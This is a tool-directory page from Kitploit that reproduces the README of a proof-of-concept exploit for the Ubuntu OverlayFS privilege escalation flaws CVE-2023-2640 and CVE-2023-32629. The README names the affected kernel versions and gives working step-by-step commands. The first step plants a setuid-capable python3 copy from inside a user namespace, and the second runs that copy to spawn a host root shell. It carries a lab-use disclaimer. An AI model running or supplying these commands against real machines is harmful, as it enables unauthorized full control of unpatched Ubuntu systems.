Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/amar-imamovic/cve-2023-2640-cve-2023-32629-interactive-poc
Privilege EscalationVulnerability AnalysisExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubamar-imamovic/cve-2023-2640-cve-2023-32629-interactive-poc

CVE-2023-2640-CVE-2023-32629-Interactive-PoC

Share

A clean, interactive multi-step Local Privilege Escalation (LPE) exploit for Ubuntu OverlayFS (GameOver(lay)) that escapes the user namespace sandbox to drop a true host root shell.

View Repository
375 months agoNot yet reviewed

CVE-2023-2640 & CVE-2023-32629 (GameOverLay) - Real Host Root Escape PoC

An interactive, multi-step Local Privilege Escalation (LPE) Proof of Concept (PoC) targeting the Ubuntu Linux kernel OverlayFS vulnerabilities (CVE-2023-2640 / CVE-2023-32629).

Unlike standard automated one-liners that trap your interactive shell inside a restrictive User Namespace (Fake Root), this methodology splits the exploit sequence to safely drop a true, unrestricted host root shell.


The "Fake Root" Problem Explained

Many public exploits string the setup and execution together using a single automated shell sequence like this: unshare -rm sh -c "mkdir l u w m && ... && touch m/*; python3 -c '...'"

Because the Python execution payload is embedded inside the unshare double quotes, it executes internally within the user namespace sandbox.

  • The Result: Your user ID reads as uid=0(root), but your shell is cryptographically isolated from the host. If you try to view the host root directory (cd /root), you will hit a Permission Denied error.

The Fix

This PoC splits the process into two distinct logical stages:

  1. Weaponize inside the Sandbox: Run unshare to fake root permissions just long enough to exploit the OverlayFS ovl_copy_up flaw, leaking a high-privilege setcap cap_setuid+eip capability into a local Python binary folder.
  2. Execute outside the Sandbox: The namespace automatically closes. The backdoored binary is then executed directly from the real host context as a normal unprivileged user. The kernel reads the leaked flag, allows os.setuid(0), and hands you true host-level system administration privileges.

Vulnerability Details

  • CVE-2023-2640: Ubuntu Kernel OverlayFS incorrect restriction of file capabilities within user namespaces.
  • CVE-2023-32629: Flaw in Ubuntu Kernel's ovl_copy_up_meta_inode_data function allowing validation checks to be entirely bypassed during file migration.
  • Affected Systems: Ubuntu 22.04 LTS running Linux Kernel releases below 6.2.0-26-generic.

Usage Instructions

Method 1: The Automated Script (Recommended)

  1. Clone or download exploit.sh to the target machine (e.g., inside /tmp).
  2. Give it execution permissions and run it:
chmod +x exploit.sh
./exploit.sh

Method 2: Manual Line-by-Line Interactive Execution

If you are working over a volatile reverse shell, run these commands completely separately, pressing Enter after each line:

# 1. Clean workspace environment 
cd /tmp && rm -rf l u w m

# 2. Forge the backdoor within the temporary namespace sandbox
unshare -rm sh -c "mkdir l u w m && cp /usr/bin/python3 l/ && setcap cap_setuid+eip l/python3 && mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*"

# 3. Trigger execution on the real host to claim true root
./u/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

Verify your true privileges by checking your current user profile:

whoami
cat /root/root.txt

Credits & Acknowledgments

The baseline exploit mechanics used in this interactive refactor were originally discovered and documented by security researchers Liav Eliyahu and g1vi.

Disclaimer

This repository is created strictly for educational, security research, and authorized penetration testing purposes (such as HackTheBox / OffSec labs). The author assumes no liability for misuse, unauthorized access attempts, or infrastructure damage caused by this materials. Use responsibly.

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    989
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    576
  • 3

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    354
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    339
  • 5

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    323
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    315

Explore all tools

Browse our collection of tools

View all tools →